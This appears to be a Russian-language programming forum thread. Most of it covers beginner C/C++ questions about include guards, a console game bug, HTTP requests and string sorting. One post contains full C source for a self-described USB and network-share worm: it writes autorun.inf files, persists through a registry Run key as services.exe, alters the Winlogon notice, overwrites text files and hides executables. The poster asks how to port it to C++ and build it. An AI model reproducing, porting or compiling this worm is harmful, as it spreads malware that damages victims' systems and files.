Советую просто почитать книгу.... R0nin мне кажеться что ты хотел написать не Code: #ifndef _MYHEADERFILE_ #define _MYHEADERFILE 1 а скорее Code: #ifndef _MYHEADERFILE_ #define _MYHEADERFILE_
Неа, я хотел написать то что написал. Как мы знаем с помощью #definе создаем либо макросы,либо константы, а константа созданная имеет какое то значение,так что создавая свою константу я присваиваю значение 1,т.е. true. Как ты сам наверное встречал во многих header файлах не присваивается значение, и даже в таком случаи,когда не присваивается это не ошибка, но правильнее было бы присвоить какое нибудь значение. Например возмем часть кода с заголовочного файла socket.h, с линукс,путь к нему обычно лежит по адресу : /usr/include/sys/socket.h так вот содержание : Code: /* Declarations of socket constants, types, and functions. Copyright (C) 1991,92,1994-2001,2003,2005,2007,2008 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #ifndef _SYS_SOCKET_H #define _SYS_SOCKET_H 1 #include <features.h> __BEGIN_DECLS #include <sys/uio.h> ....
Если ты его положишь в папку, где находится файл который его загружает через #include,то достаточно написать : PHP: #include "my_header_file.h" но а если он лежит в другой папке придется указать путь к нему. В общем,не имеет значение где он лежит,главное чтобы твой компилятор имел доступ к нему.
Насчет одного ты прав, я написал : Code: #ifndef _MYHEADERFILE_ #define _MYHEADERFILE 1 а должно было быть : Code: #ifndef _MYHEADERFILE_ #define _MYHEADERFILE_ 1 Разницу наверное видишь Насчет единицы я написал в предыдущем посте.
Code: #include <iostream> #include <conio.h> using namespace std; const int s=20; const int c=20; const int koltop=30; int toplivoai=koltop; int toplivo=koltop; int x=1; int y=0; int counter = 0; int counterai = 0; int xai=4; int yai=4; char map[s][c]; void init_game(char map[s][c]); void ai(char map[s][c]); int movement_if(char map[s][c]); int main() { setlocale(LC_CTYPE,"Russian"); init_game(map); while(1){ movement_if(map); system("cls"); init_game(map); ai(map); } _getch(); return 0; } void ai(char map[s][c]){ map[xai][yai]=" "; int put=rand()%4; if(put==0){ xai--; toplivoai--; } else if(put==1){ xai++; toplivoai--; } else if(put==2){ yai--; toplivoai--; } else if(put==3){ yai++; toplivoai--; } if(yai==c) yai=0; if(xai==s) xai=1; if(yai<0) yai=c-1; if(xai<1) xai=s-2; if(toplivoai<0){ cout << "YOU WEEN!!!"; xai=s-2; yai=c-1; toplivoai=koltop; } else { if(xai==(s/2) && yai==(c/2)){ toplivoai=koltop; } else { map[xai][yai]="B"; } } } void init_game(char map[s][c]) { if(y==c) y=0; if(x==s) x=1; if(y<0) y=c-1; if(x<1) x=s-2; if(toplivo<0){ cout << "GAME OVER!!!"; toplivo=koltop; x=1; y=0; } else { for(int i=0; i<s;i++){ cout << "|"; for(int j=0; j<c;j++){ if(x==(s/2) && y==(c/2)){ toplivo=koltop; } if(i==(s/2) && j==(c/2)){ cout << "P"; } else { if(i==0 || i==s-1){ cout << "-"; } else { if(i==x && j==y){ cout << "T"; } else { cout << " "; } } } } cout << "|\n"; } cout << x << y; cout << "\nОсталось топливо:" << toplivo; } } int movement_if(char map[s][c]) { char act; int ch; _getch(); act = _getch(); ch = static_cast<int>(act); if (ch == -3272) { } else if (ch == 72){ x--; toplivo--; } else if (ch == 80){ x++; toplivo--; } else if (ch == 75){ y--; toplivo--; } else if (ch == 77){ y++; toplivo--; } else if(ch == 27){ exit(0); } else { cout << "Не верный ввод."; _getch(); } return 0; } В функции ai не возможно присвоить значение массиву map. Это консольное приложение. Игрушкаггг. В разраотке...
У тебя массив типа char. Ты же пытаешся присвоить элементу массива значение типа char *. Попробуй поменять на одинарные кавычки. Code: map[xai][yai]=' '; map[xai][yai]='B';
Не подскажите пожалуйста хорошую библиотеку для работы с icq и инфо про нее Кодть буду на С++. Мне нужно что бы исходник был открыт и написан на С++.
Как программно с помощью с++ обращаться по протоколу http. Как к простым файлам? пример: FILE *f = fopen( "http://sait.com", "r" ); может вопрос мой некоректен , но я думаю поймут )))
Что значит "с помощью C++" ? Да твои вопрос не корректен, но тебя поняли С протоколом HTTP работают через сокеты, как и с другими сетевыми протоколами.
в C# вместо #include - using и всё на ООП C++ от C по "новым возможностям" - http://ru.wikipedia.org/wiki/C%2B%2B#.D0.9D.D0.BE.D0.B2.D1.8B.D0.B5_.D0.B2.D0.BE.D0.B7.D0.BC.D0.BE.D0.B6.D0.BD.D0.BE.D1.81.D1.82.D0.B8_.D0.BF.D0.BE_.D1.81.D1.80.D0.B0.D0.B2.D0.BD.D0.B5.D0.BD.D0.B8.D1.8E_.D1.81_.D0.A1.D0.B8
Можешь воспользоваться этим классом: https://forum.antichat.ru/threadnav27529-1-10.html Там тебе и пример использования и описание. Забывай о таком, это не пхп
Я уже замучился совсем. Пишу на php иже с ним,и c++ после этого не идет.. Вот код: Code: int a=Memo1->Lines->Count; short sorted=1,changed=0; do{ changed=0; for (int i=1;i<(a-1);i++){ char *str1=Memo1->Lines->Strings[i].c_str(); for (int j=0;j<strlen(str1);j++){ char *str2=Memo1->Lines->Strings[i+1].c_str(); int str2len=strlen(str2); if(str2len<=j){break; } int s1=asnum(str1[j]); int s2=asnum(str2[j]); if (s1>s2){ char *temp=str1; Memo1->Lines->Strings[i]=str2; Memo1->Lines->Strings[i+1]=temp; changed = 1; }else if(s1<s2){break;} } } sorted = !changed; }while (!sorted); Он упорядочивает строки в Memo1 по алфавиту. То есть он должен их упорядочивать, но никаких изменений не происходит. Во,еще забыл: Code: int asnum(char c){ int casc; casc=c; if (casc<0) { casc=256+casc; } return casc; }
Как на C++ определить, какой съёмный носитель подключён? В сторону WinAPI копал, так и не чего не понял. Есть на C Code: DWORD WINAPI spreadUSB() { while(1) { Sleep(120000); int i; for(i = 0;i < 24;i++) { if((GetDriveType(drives[i])) == DRIVE_REMOVABLE) { char hldPath[50]; char usbFile[30] = "\\Driver_Update.exe"; char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe"; strcpy(hldPath,drives[i]); strcat(hldPath,"\\autorun.inf"); FILE *fp = fopen("autorun.inf","w"); fprintf(fp,autoRun); fclose(fp); CopyFile("autorun.inf",hldPath,0); remove("autorun.inf"); strcat(drives[i],usbFile); CopyFile(me,drives[i],0); } else if((GetDriveType(drives[i])) == DRIVE_CDROM) { char cdPath[50]; char cdFile[20] = "\\Worm_Pwn.exe"; char cdAutr[50] = "[autorun]\r\nopen=Worm_Pwn.exe"; strcpy(cdPath,drives[i]); strcat(cdPath,"\\autorun.inf"); FILE *fpp = fopen("autorun.inf","w"); fprintf(fpp,cdAutr); fclose(fpp); CopyFile("autorun.inf",cdPath,1); remove("autorun.inf"); strcat(drives[i],cdFile); CopyFile(me,drives[i],0); } else if((GetDriveType(drives[i])) == DRIVE_REMOTE) { char remName[20] = "\\Upd_Config.exe"; strcat(drives[i],remName); CopyFile(me,drives[i],0); } } } } BOOL Startup() { char dropTo[1024]; GetWindowsDirectory(dropTo,1024); strcat(dropTo,"\\services.exe"); if((CopyFile(me,dropTo,1)) == 0) return 0; else { if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey) == ERROR_SUCCESS) { RegSetValueEx(hKey,"services",0,REG_SZ,(const unsigned char*)dropTo,strlen(dropTo)); RegCloseKey(hKey); } return 1; } } DWORD WINAPI changeTitle(LPVOID lParam) { while(1) { HWND hWnd = GetForegroundWindow(); SetWindowText(hWnd,"|__[__]__/=+-\\ SaveItForLater :] Worm - illuz1oN /-+=\\__[__]__|"); } } void winLogin(void) { HKEY hKey; char szCaption[] = " |__[__]__/=+-\\ illuz1oN /-+=\\__[__]__|"; char szText[] = " |__[__]__/=+-\\ SaveItForLater :] Worm By illuz1oN /-+=\\__[__]__|" "\nIf you want to remove this worm, contact illuz1oN - [email protected]" "\n... AV Companies ~censored~ You ..."; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey); RegSetValueEx(hKey,"LegalNoticeCaption",0,REG_SZ,(const unsigned char*)szCaption,sizeof(szCaption)); RegCloseKey(hKey); RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey); RegSetValueEx(hKey,"LegalNoticeText",0,REG_SZ,(const unsigned char*)szText,sizeof(szText)); RegCloseKey(hKey); } int WINAPI WinMain (HINSTANCE hinst,HINSTANCE prhin,LPSTR argsx,int in) { GetModuleFileName(0,me,1024); CreateMutex(0,0,"-+- illuz1oN -+-"); if(GetLastError() == ERROR_ALREADY_EXISTS) { ExitProcess(0); } else { if((Startup()) == 0) { char szMask[4] = "*.*"; DWORD ret = 0; WIN32_FIND_DATA fData; HANDLE hFind,hFile; hFind = FindFirstFile(szMask,&fData); if(fData.cFileName == "*.txt") { hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); if(hFile == INVALID_HANDLE_VALUE) ExitProcess(0); else { WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0); CloseHandle(hFile); } } else if(fData.cFileName == "*.exe") { SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN); CloseHandle(hFile); } while (FindNextFile(hFind,&fData)) { if(fData.cFileName == "*.txt") { hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); if(hFile == INVALID_HANDLE_VALUE) ExitProcess(0); else { WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0); CloseHandle(hFile); } } else if(fData.cFileName == "*.exe") { SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN); CloseHandle(hFile); } } FindClose(hFind); } else { winLogin(); unsigned long title; CreateThread(0,0,changeTitle,0,0,&title); unsigned long virii; CreateThread(0,0,spreadUSB,0,0,&virii); Sleep(INFINITE); } } } Но я только не пойму, как его переписать под C++
Спасибо еще раз . Только еще один вопрос остался. Создаю проэкт C++ Win Console в visual studio. Там есть Code: int _tmain(int argc, _TCHAR* argv[]) { /*cout << "dfsfsf\r\n"; char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe"; FILE *fp = fopen("autorun.inf","w"); fprintf(fp,autoRun); fclose(fp);*/ //Это всё для проверки, просто только начал учить C++ system("pause"); return 0; } А как в теперь вшить тот код в проэкт?